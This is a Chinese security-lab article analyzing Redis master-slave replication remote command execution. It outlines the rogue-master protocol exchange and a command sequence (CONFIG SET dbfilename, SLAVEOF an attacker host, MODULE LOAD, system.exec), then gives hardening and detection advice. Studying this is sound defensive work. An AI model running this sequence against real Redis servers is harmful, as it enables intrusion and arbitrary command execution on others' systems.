咨詢服務(wù)熱線
400-6446-808
創(chuàng)安實驗室專欄
您的當前位置:首頁 > 創(chuàng)安實驗室專欄

?+
+
Redis主從復(fù)制RCE分析
Redis是一套開源的使用ANSIC編寫、支持網(wǎng)絡(luò)、可基于內(nèi)存亦可持久化的日志型、鍵值存儲數(shù)據(jù)庫,并提供多種語言的API。由于其高可用性和速度優(yōu)勢,常用于緩存系統(tǒng)(“熱點”數(shù)據(jù):高頻讀、低頻寫)、計數(shù)器、消息隊列系統(tǒng)、排行榜、社交網(wǎng)絡(luò)和實時系統(tǒng)等。
Redis主從復(fù)制RCE是在主從復(fù)制基礎(chǔ)上,通過復(fù)制惡意文件到本地,結(jié)合模塊加載功能將惡意文件成功加載,調(diào)用惡意文件接口實現(xiàn)命令執(zhí)行。
●
Redis 4.x 和Redis 5.x版本
●
Redis 2.8版本在原有單機架構(gòu)的基礎(chǔ)上,為了解決單機宕機的風(fēng)險,引入主從復(fù)制的機制,通過主服務(wù)器將數(shù)據(jù)備份到從服務(wù)器上,由主服務(wù)器負責(zé)處理外部寫操作,從服務(wù)器負責(zé)讀操作。通過數(shù)據(jù)復(fù)制,Redis的一個master可以掛載多個slave,而slave下還可以掛載多個slave,形成多層嵌套結(jié)構(gòu)。所有寫操作都在master實例中進行,master執(zhí)行完畢后,將寫指令分發(fā)給掛在自己下面的slave節(jié)點。slave節(jié)點下如果有嵌套的slave,會將收到的寫指令進一步分發(fā)給掛在自己下面的slave。

Redis提供了2種不同的持久化方式,RDB方式(在指定的時間間隔內(nèi)生成數(shù)據(jù)集的時間點快照)和AOF方式(記錄服務(wù)器執(zhí)行的所有寫操作命令).AOF方式備份數(shù)據(jù)庫的文件名默認為appendonly.aof,可以在配置文件中通過修改appendfilename參數(shù)進行修改,無法在客戶端交互中動態(tài)設(shè)置appendfilename,而RDB方式備份數(shù)據(jù)庫的文件名默認為dump.rdb,此文件名可以通過客戶端交互動態(tài)設(shè)置dbfilename來更改。

主從復(fù)制模式下數(shù)據(jù)單向從主節(jié)點流向從節(jié)點,在從節(jié)點首次注冊時,會對主節(jié)點數(shù)據(jù)進行全量復(fù)制,復(fù)制過程中用offset記錄讀取的數(shù)據(jù)大小,以便中斷后斷點續(xù)傳。如果從節(jié)點初始沒有數(shù)據(jù),通過主從復(fù)制,可以將主節(jié)點設(shè)置的dbfilename文件全量復(fù)制到從節(jié)點的dbfilename中,從而實現(xiàn)任意文件上傳。

任意Redis服務(wù)器在啟動時默認作為Master主節(jié)點,當執(zhí)行SLAVEOF命令后自動發(fā)送請求注冊成為目標的從節(jié)點,未對主節(jié)點信息進行校驗。

在Reids 4.x之后,Redis新增了模塊功能,通過寫c語言并編譯出.so文件作為外部拓展,可以實現(xiàn)在redis中實現(xiàn)一個新的Redis命令。

因此,可以通過自己模擬Redis服務(wù)器,通過執(zhí)行命令設(shè)置將其設(shè)置為主節(jié)點,通過自行構(gòu)造主服務(wù)器響應(yīng)的情況,通過FULLRESYNC命令無損寫入想要寫的文件。結(jié)合任意模塊加載,實現(xiàn)任意命令執(zhí)行。
●
主服務(wù)器需要執(zhí)行的響應(yīng)內(nèi)容如下:
[>] PING – 從服務(wù)器探測主服務(wù)器是否存活
[<] +PONG 存活響應(yīng)
[>] REPLCONF – 交換主從節(jié)點復(fù)制信息
[<] +OK 確認
[>] PSYNC/SYNC – 同步狀態(tài)以及傳輸方式
[<] +FULLRESYNC 同步數(shù)據(jù)

●
Config set dir /path/
Config set dbfilename test.so 修改備份文件路徑
SLAVEOF host port 設(shè)置為對應(yīng)服務(wù)器的從節(jié)點
MODULE LOAD /path/test.so 加載復(fù)制過來的
SLAVEOF no one 關(guān)閉主從復(fù)制關(guān)系(防止臟數(shù)據(jù)復(fù)制)
System.exec ‘command’ 執(zhí)行命令

對應(yīng)流量特征如下:

主從復(fù)制RCE實現(xiàn)條件:
□ Redis可訪問(未授權(quán)或有憑據(jù))
□ 可動態(tài)修改備份文件路徑
□ 主從未校驗可信服務(wù)端
依據(jù)上述情況,可以對應(yīng)防護:
① Redis設(shè)置訪問白名單(入 防止惡意訪問和出 防止惡意設(shè)置為主從)
② Redis添加認證
在配置文件/etc/redis/redis.conf中修改requirepasss屬性為強口令,完成后重啟服務(wù)器
動態(tài)命令設(shè)置config set requirepass YorPass
③ 重命名相關(guān)命令
在配置文件/etc/redis/redis.conf中
rename-command CONFIG PDZA1DA也可以rename-command CONFIG "" 設(shè)置為空來禁用
對于惡意特征,可以通過MODULE LIST命令查看當前加載的模塊信息,重點關(guān)注非官方加載或者SYSTEM、EXEC等惡意關(guān)鍵詞,監(jiān)控Redis服務(wù)器上Redis進程寫入的so文件(Windows為DLL文件),流量中可以重點關(guān)注FULLRESYNC命令以及相關(guān)文件二進制特征(Webshell,Cron,Authorized_keys,so和DLL等)。
E·N·D
本文由創(chuàng)信華通創(chuàng)安實驗室編輯。
本文僅限于個人學(xué)習(xí)和技術(shù)研究,由于傳播、利用此文所提供的信息而造成刑事案件、非授權(quán)攻擊等違法行為,均由使用者本人負責(zé),本單位不為此承擔(dān)任何責(zé)任。創(chuàng)安攻防實驗室擁有對此文章的修改和解釋權(quán),如欲轉(zhuǎn)載或傳播此文章,必須保證此文章的完整性,包括版權(quán)聲明等全部內(nèi)容。
如有侵權(quán),請聯(lián)系后臺。
●
創(chuàng)安實驗室
創(chuàng)信華通創(chuàng)安實驗室,是成都創(chuàng)信華通信息技術(shù)有限公司旗下的技術(shù)研究團隊,成立于2021年9月,主要研究紅藍對抗、重大安全保障、應(yīng)急響應(yīng)等方向。
創(chuàng)安攻防實驗室圓滿完成了多次公安舉辦的重要網(wǎng)絡(luò)安全保障和攻防演習(xí)活動,并積極參加各類網(wǎng)絡(luò)安全競賽,屢獲殊榮。
創(chuàng)安攻防實驗室秉承創(chuàng)信華通的發(fā)展理念,致力打造國內(nèi)一流網(wǎng)絡(luò)安全團隊。